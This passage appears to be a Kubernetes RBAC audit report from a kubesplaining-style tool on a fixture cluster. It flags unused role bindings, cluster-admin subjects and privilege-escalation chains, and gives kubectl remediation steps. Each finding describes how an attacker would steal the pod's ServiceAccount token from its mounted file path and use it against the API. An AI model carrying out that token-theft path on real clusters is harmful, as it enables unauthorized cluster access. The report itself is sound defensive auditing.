"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cr-impersonate",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/rbac-fixtures/sa-pod-create Namespace 5.0
Role cr-pod-create granted to ServiceAccount rbac-fixtures/sa-pod-create but never exercised
Scope · Namespace Namespace rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: ClusterRole/cr-pod-create

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-pod-create. The Role cr-pod-create is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cr-pod-create even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount rbac-fixtures/sa-pod-create (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount rbac-fixtures/sa-pod-create.
  3. Attacker uses the token to invoke every API grant in cr-pod-create - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cr-pod-create to ServiceAccount rbac-fixtures/sa-pod-create, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-pod-create") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecr-pod-create
Inspect: kubectl get clusterrole cr-pod-create -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cr-pod-create",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/rbac-fixtures/sa-wildcard Namespace 5.0
Role cr-wildcard granted to ServiceAccount rbac-fixtures/sa-wildcard but never exercised
Scope · Namespace Namespace rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: ClusterRole/cr-wildcard

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-wildcard. The Role cr-wildcard is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cr-wildcard even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount rbac-fixtures/sa-wildcard (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount rbac-fixtures/sa-wildcard.
  3. Attacker uses the token to invoke every API grant in cr-wildcard - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cr-wildcard to ServiceAccount rbac-fixtures/sa-wildcard, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-wildcard") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cr-wildcard",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/foothold-fixtures/foothold-quiet Namespace 5.0
Role foothold-quiet-secrets granted to ServiceAccount foothold-fixtures/foothold-quiet but never exercised
Scope · Namespace Namespace foothold-fixtures
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-quiet Resource: Role/foothold-quiet-secrets

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount foothold-fixtures/foothold-quiet. The Role foothold-quiet-secrets is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in foothold-quiet-secrets even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker compromises a pod running as ServiceAccount foothold-fixtures/foothold-quiet (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount foothold-fixtures/foothold-quiet.
  3. Attacker uses the token to invoke every API grant in foothold-quiet-secrets - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants foothold-quiet-secrets to ServiceAccount foothold-fixtures/foothold-quiet, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "foothold-quiet-secrets") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolefoothold-quiet-secrets
Inspect: kubectl get clusterrole foothold-quiet-secrets -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "foothold-quiet-secrets",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/foothold-exec/foothold-reader Namespace 5.0
Role foothold-reader-secrets granted to ServiceAccount foothold-exec/foothold-reader but never exercised
Scope · Namespace Namespace foothold-exec
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-reader Resource: Role/foothold-reader-secrets

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount foothold-exec/foothold-reader. The Role foothold-reader-secrets is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in foothold-reader-secrets even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker compromises a pod running as ServiceAccount foothold-exec/foothold-reader (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount foothold-exec/foothold-reader.
  3. Attacker uses the token to invoke every API grant in foothold-reader-secrets - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants foothold-reader-secrets to ServiceAccount foothold-exec/foothold-reader, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "foothold-reader-secrets") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolefoothold-reader-secrets
Inspect: kubectl get clusterrole foothold-reader-secrets -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "foothold-reader-secrets",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/local-path-storage/local-path-provisioner-service-account Namespace 5.0
Role local-path-provisioner-role granted to ServiceAccount local-path-storage/local-path-provisioner-service-account but never exercised
Scope · Namespace Namespace local-path-storage
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account Resource: Role/local-path-provisioner-role

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount local-path-storage/local-path-provisioner-service-account. The Role local-path-provisioner-role is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in local-path-provisioner-role even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker compromises a pod running as ServiceAccount local-path-storage/local-path-provisioner-service-account (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount local-path-storage/local-path-provisioner-service-account.
  3. Attacker uses the token to invoke every API grant in local-path-provisioner-role - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants local-path-provisioner-role to ServiceAccount local-path-storage/local-path-provisioner-service-account, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "local-path-provisioner-role") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolelocal-path-provisioner-role
Inspect: kubectl get clusterrole local-path-provisioner-role -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "local-path-provisioner-role",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/lp-fixtures/sa-lp-orphan Namespace 5.0
Role r-lp-orphan granted to ServiceAccount lp-fixtures/sa-lp-orphan but never exercised
Scope · Namespace Namespace lp-fixtures
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-orphan Resource: Role/r-lp-orphan

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount lp-fixtures/sa-lp-orphan. The Role r-lp-orphan is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in r-lp-orphan even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker compromises a pod running as ServiceAccount lp-fixtures/sa-lp-orphan (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount lp-fixtures/sa-lp-orphan.
  3. Attacker uses the token to invoke every API grant in r-lp-orphan - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants r-lp-orphan to ServiceAccount lp-fixtures/sa-lp-orphan, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "r-lp-orphan") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source roler-lp-orphan
Inspect: kubectl get clusterrole r-lp-orphan -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "r-lp-orphan",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/secrets-bundle/cross-ns-reader Namespace 5.0
Role secrets-reader granted to ServiceAccount secrets-bundle/cross-ns-reader but never exercised
Scope · Namespace Namespace secrets-bundle
Category: Privilege Escalation Subject: ServiceAccount/secrets-bundle/cross-ns-reader Resource: Role/secrets-reader

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount secrets-bundle/cross-ns-reader. The Role secrets-reader is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in secrets-reader even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker compromises a pod running as ServiceAccount secrets-bundle/cross-ns-reader (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount secrets-bundle/cross-ns-reader.
  3. Attacker uses the token to invoke every API grant in secrets-reader - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants secrets-reader to ServiceAccount secrets-bundle/cross-ns-reader, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "secrets-reader") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolesecrets-reader
Inspect: kubectl get clusterrole secrets-reader -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "secrets-reader",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
LOW

Role r-lp-narrow has 5 unused verb-grants for ServiceAccount lp-fixtures/sa-lp-narrow

KUBE-RBAC-UNUSED-VERB-001 1 subject Score 3.0

Affected subject

LOW ServiceAccount/lp-fixtures/sa-lp-narrow Namespace 3.0
Role r-lp-narrow has 5 unused verb-grants for ServiceAccount lp-fixtures/sa-lp-narrow
Scope · Namespace Namespace lp-fixtures
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-narrow Resource: Role/r-lp-narrow

Over 30 days (2026-09-09 → 2026-10-09, 3 events), ServiceAccount lp-fixtures/sa-lp-narrow exercised some of the verbs in r-lp-narrow but not others. Unused: create configmaps (apiGroup core), delete configmaps (apiGroup core), patch configmaps (apiGroup core), update configmaps (apiGroup core), watch configmaps (apiGroup core). The Role can be safely narrowed to drop the verbs the workload has never needed.

Impact Each unused verb is an additional permission an attacker inherits if the workload is compromised, without the application needing it for normal operation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

Remediation
Replace r-lp-narrow with a narrower Role that lists only the verbs the workload actually exercises.
  1. Confirm the audit window is long enough to capture rare-but-legitimate operations (monthly cron jobs, error-only code paths).
  2. Edit r-lp-narrow to drop the unused verbs, or apply the suggested replacement below.
Evidence
Source roler-lp-narrow
Inspect: kubectl get clusterrole r-lp-narrow -o yaml
events_processed
3
suggested_role_yaml
"# Drop the following from Role/ClusterRole `r-lp-narrow`:\n#   apiGroup `core`, resource `configmaps`: create, delete, patch, update, watch\n# Replacement Role: keep only the verbs the workload actually uses (visible in your audit log).\n"
unused_triples
[
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "create"
  },
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "delete"
  },
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "patch"
  },
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "update"
  },
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "watch"
  }
]
used_triples
[
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "get"
  },
  {
    "api_group": "",
    "resource": "configmaps",
    "verb": "list"
  }
]
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "source_role": "r-lp-narrow",
  "suggested_role_yaml": "# Drop the following from Role/ClusterRole `r-lp-narrow`:\n#   apiGroup `core`, resource `configmaps`: create, delete, patch, update, watch\n# Replacement Role: keep only the verbs the workload actually uses (visible in your audit log).\n",
  "unused_triples": [
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "create"
    },
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "delete"
    },
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "patch"
    },
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "update"
    },
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "watch"
    }
  ],
  "used_triples": [
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "get"
    },
    {
      "api_group": "",
      "resource": "configmaps",
      "verb": "list"
    }
  ],
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}

Least Privilege Opportunities

Findings here highlight RBAC grants that look broader than the workloads actually need. Pre-existing rules from the rbac module (stale bindings, over-broad ClusterRole grants) appear alongside new audit-driven rules (KUBE-RBAC-UNUSED-*, KUBE-RBAC-WILDCARD-USED-PARTIAL-*) so you can iterate on tightening in one focused view. Each finding is a recommendation, not an exploit - verify the observation window covers your workloads' full cycle before removing permissions.

Audit window 2026-09-09 → 2026-10-09 30 days · 3 events
Unused RBAC resources 15 rows

Roles, ClusterRoles, and bindings that look like delete candidates. Each row tells you exactly what to remove. Verify the audit window covers a representative slice of your workloads' activity before deleting.

SeverityBinding
Role & ServiceAccount
What to do
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cluster-admin
ServiceAccount: foothold-exec/foothold-decoy-sa
Delete ClusterRole/cluster-admin (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cr-csr-mint
ServiceAccount: csr-fixtures/sa-csr-mint
Delete ClusterRole/cr-csr-mint (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cr-csr-sign
ServiceAccount: csr-fixtures/sa-csr-sign
Delete ClusterRole/cr-csr-sign (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cr-imgswap-secret-reader
ServiceAccount: imgswap-fixtures/imgswap-reader
Delete ClusterRole/cr-imgswap-secret-reader (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cr-impersonate
ServiceAccount: rbac-fixtures/sa-impersonate
Delete ClusterRole/cr-impersonate (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cr-pod-create
ServiceAccount: rbac-fixtures/sa-pod-create
Delete ClusterRole/cr-pod-create (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: ClusterRole/cr-wildcard
ServiceAccount: rbac-fixtures/sa-wildcard
Delete ClusterRole/cr-wildcard (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-STALE-001
Role: ClusterRole/kubesplaining-fixture-deleted-role
ServiceAccount: rbac-fixtures/sa-stale-roleref
Delete ClusterRoleBinding/crb-stale-roleref (target Role missing)
Binding references a Role/ClusterRole that does not exist
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: Role/cm-reader
ServiceAccount: vulnerable/default
Delete Role/cm-reader (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: Role/foothold-quiet-secrets
ServiceAccount: foothold-fixtures/foothold-quiet
Delete Role/foothold-quiet-secrets (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: Role/foothold-reader-secrets
ServiceAccount: foothold-exec/foothold-reader
Delete Role/foothold-reader-secrets (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: Role/local-path-provisioner-role
ServiceAccount: local-path-storage/local-path-provisioner-service-account
Delete Role/local-path-provisioner-role (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: Role/r-lp-orphan
ServiceAccount: lp-fixtures/sa-lp-orphan
Delete Role/r-lp-orphan (and its bindings)
No observed API calls in the audit window
MEDIUM
KUBE-RBAC-UNUSED-ROLE-001
Role: Role/secrets-reader
ServiceAccount: secrets-bundle/cross-ns-reader
Delete Role/secrets-reader (and its bindings)
No observed API calls in the audit window
LOW
KUBE-RBAC-STALE-002
Role: Role/r-stale-subject-target
ServiceAccount: rbac-fixtures/ghost-sa-fixture
Delete RoleBinding/rbac-fixtures/rb-stale-subject (subject missing)
Binding lists a ServiceAccount subject that does not exist
Role to verb activity 2 rows

Verb-level narrowing opportunities. The "Used" column lists verbs the workload actually exercised in the audit window; the "Unused" column lists verbs the Role still grants without evidence of need. Each row's action describes the exact edit.

SeverityBinding
Role & ServiceAccount
Used verbsUnused verbsWhat to do
MEDIUM
KUBE-RBAC-WILDCARD-USED-PARTIAL-001
Role: Role/r-lp-wildcard
ServiceAccount: lp-fixtures/sa-lp-wildcard
  • get: secrets
  • create: secrets
  • delete: secrets
  • deletecollection: secrets
  • list: secrets
  • patch: secrets
  • update: secrets
  • watch: secrets
Replace verbs: ["*"] in Role/r-lp-wildcard with the observed verbs (see YAML below)
LOW
KUBE-RBAC-UNUSED-VERB-001
Role: Role/r-lp-narrow
ServiceAccount: lp-fixtures/sa-lp-narrow
  • get: configmaps
  • list: configmaps
  • create: configmaps
  • delete: configmaps
  • patch: configmaps
  • update: configmaps
  • watch: configmaps
Drop the 5 unused verbs from Role/r-lp-narrow (use the suggested YAML below)
Subjects bound to cluster-admin 10 subjects

Every identity directly bound to the built-in cluster-admin ClusterRole. This is an inventory view, not a finding list: built-in rows are expected (the API server hard-codes system:masters; a handful of control-plane bindings are required), while review rows are discretionary grants worth a "is this still legitimate?" check. Cluster-admin has legitimate uses (break-glass groups, JIT admin), so kubesplaining no longer flags each row as CRITICAL in this view — review the list and prune what you don't recognize.

SubjectClusterRoleBindingType
Group kubeadm:cluster-admins kubeadm:cluster-admins review
ServiceAccount cert-manager/cert-manager cutres-deputy-cm-admin review
ServiceAccount cutres/cutres-detour cutres-detour-direct review
ServiceAccount cutres/cutres-parallel cutres-parallel-a review
ServiceAccount cutres/cutres-parallel cutres-parallel-b review
ServiceAccount deepchain-tenant/deepchain-privileged deepchain-privileged review
ServiceAccount flux-system/kustomize-controller deepchain-flux-admin review
ServiceAccount foothold-exec/foothold-decoy-sa foothold-decoy-admin review
ServiceAccount rbac-fixtures/sa-cluster-admin crb-cluster-admin review
Group system:masters cluster-admin built-in

What each principal can actually do

The Cloudsplaining-style per-subject view: every RBAC subject that fires a finding or holds a cluster-admin-equivalent grant gets one card. Bindings lists the (Cluster)RoleBindings that grant the subject its permissions; Effective verbs is the deduped verb set across all bound roles; Effective rules collapses the granular RBAC rules into one row per resource so the operator can scan them. When the engine detected a privesc chain from this subject the card is tagged chain-amplified and the chain summaries appear at the bottom: those are the principals to prune first.

ServiceAccount cert-manager/cert-manager

chain-amplified
Bindings:
  • ClusterRoleBinding/cutres-deputy-cm-admin -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core
Privesc paths originating here:
  • ServiceAccount cert-manager/cert-manager -> cluster_admin via wildcard_permission -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount cert-manager/cert-manager -> node_escape via node_drain_migrate -> node_escape (HIGH, 1 hop)
  • ServiceAccount cert-manager/cert-manager -> system_masters via node_drain_migrate -> system_masters (HIGH, 2 hops)
  • ServiceAccount cert-manager/cert-manager -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount cloud-eks-test/eks-token-minter

chain-amplified
Bindings:
